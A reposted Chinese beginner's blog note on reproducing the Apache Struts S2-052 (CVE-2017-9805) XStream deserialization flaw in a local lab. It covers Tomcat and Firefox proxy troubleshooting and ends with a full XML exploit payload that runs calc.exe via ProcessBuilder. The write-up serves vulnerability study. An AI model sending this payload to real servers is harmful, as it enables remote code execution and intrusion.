某S2-052漏洞repetition的一些小白易卡点

来源:互联网 发布:淘宝网上开店需要多少钱 编辑:程序博客网 时间:2024/04/30 13:17

漏洞描述:

CVE-2017-9805

2017年9月5日,Apache Struts官方发布最新的安全公告称,Apache Struts 2.5.x的REST插件存在远程代码执行高危漏洞,漏洞编号为CVE-2017-9805(S2-052),受影响的版本为Struts 2.5 - Struts 2.5.12。

原理:攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。

环境搭建:win10系统struts2-rest-showcase.war、struts2-showcase.war、apache-tomcat

由于是为数不多的几次复现,小白一枚,途中遇到较多的问题,希望自己能记住。

首先遇到的第一个问题,会跳出一个框框“指定服务未安装”大概就是这个吧!

解法:原来是没有安装此项服务。具体安装方法:打开命令行提示符窗口
=> 进入Tomcat安装目录==> 进入bin目录下==> 输入:service.bat install 即可

成功运行如下图所示:


随后继续操作又发现一个问题:


因为用的是火狐,本地127.0.0.1抓不到包,最后发现火狐代理里面有个localhost和127.0.0.1不使用代理的默认设置。

 

把不使用代理中的内容给删除了就好了



然后继续操作,发现第三个很重要的问题:一定要熟悉http,什么请求啊等等等。

就比如下面的两张图:




就遇到这三个小问题然后其他按着操作就好了

关键折尺

修改两个地方,一是Content-Type: application/xml

二是post数据内容为:

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class=”com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data”> <dataHandler> <dataSource class=”com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource”> <is class=”javax.crypto.CipherInputStream”> <cipher class=”javax.crypto.NullCipher”> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class=”javax.imageio.spi.FilterIterator”> <iter class=”javax.imageio.spi.FilterIterator”> <iter class=”java.util.Collections$EmptyIterator”/> <next class=”java.lang.ProcessBuilder”> <command> <string>calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class=”javax.imageio.ImageIO$ContainsFilter”> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class=”string”>foo</next> </serviceIterator> <lock/> </cipher> <input class=”java.lang.ProcessBuilder$NullInputStream”/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference=”../jdk.nashorn.internal.objects.NativeString”/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference=”../../entry/jdk.nashorn.internal.objects.NativeString”/>
</entry>
</map>

放一张最后得到的截图



至于其他,得到计算器还没研究出来,继续探索!